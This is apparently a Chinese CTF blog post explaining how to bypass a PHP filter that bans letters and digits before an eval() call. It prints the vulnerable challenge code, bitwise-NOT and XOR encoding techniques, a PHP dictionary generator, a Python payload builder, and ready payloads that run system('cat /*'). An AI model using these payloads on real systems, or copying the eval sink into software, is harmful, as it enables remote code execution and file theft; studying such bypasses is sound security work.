本文最后更新于 2026年1月9日 晚上
引子 1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );$Pr0 = $_GET ['Pr0' ];if (preg_match ("/[A-Za-z0-9]+/" ,$Pr0 )){ die ("我不喜欢字母和数字!!!" ); } @eval ($Pr0 );?>
url取反绕过(PHP7) 1 2 3 <?php echo urlencode (~'system' ); echo urlencode (~'cat /*' );
按位取反 是将一个数的每一位二进制位 0 变 1、1 变 0
字符串取反后变成不可打印字符,但可以进行url编码,以此绕过过滤
但是这里关键的是payload
1 ?Pr0=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%D5);
为什么什么后面的参数不需要用括号和引号包裹,自己加上反而出错?
payload经过url解码以及取反后变成
在 PHP 中,如果一个变量的值是字符串,且该字符串是一个已存在的函数名,那么可以用 $func() 的方式调用它 ,所以上面的代码完全合法。
而自己手动加上双引号,经解码后变为
1 (~"\x 8C\x 86\x 8C\x 8B\x 9A\x 92" )("~" \x9C\x9E\x8B\xDF\xD0\xD5"" );
后面的~运算变成了字符串,不会进行取反操作!
异或绕过 我们可以通过一些不可见字符进行异或运算得到我们的字母(例如s=urldecode(%08)^urldecode(%7b))
先生成一个字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php $myfile = fopen ("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[a-z0-9]/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )^urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } }fwrite ($myfile ,$contents );fclose ($myfile );
再生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport urllibfrom sys import *import osdef action (arg ): s1="" s2="" for i in arg: f=open ("xor_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
还有两种payload
1 2 ?Pr0=(%27%0C%06%0C%0B%1A%12%27^%27%7F%7F%7F%7F%7F%7F%27)(${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0});&%A0=cat%20
1 ?Pr0=$_ ="`{{{" ^"?<>/" ;${$_ }[_ ](${$_ }[__ ]);&_ =system &__ =cat%20
长度限制 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );highlight_file (__FILE__ );$code = $_GET ['c2n_y2u c@ptu3e.+the[f!a&?' ];if (preg_match ("/[A-Za-z0-9]+/" , $code )){ die ("hacker!" ); }if (strlen ($code ) > 14 ){ die ("toooooo looooog!" ); } @eval ($code );?>
参考文献及其他方法 简单看看无字母数字RCE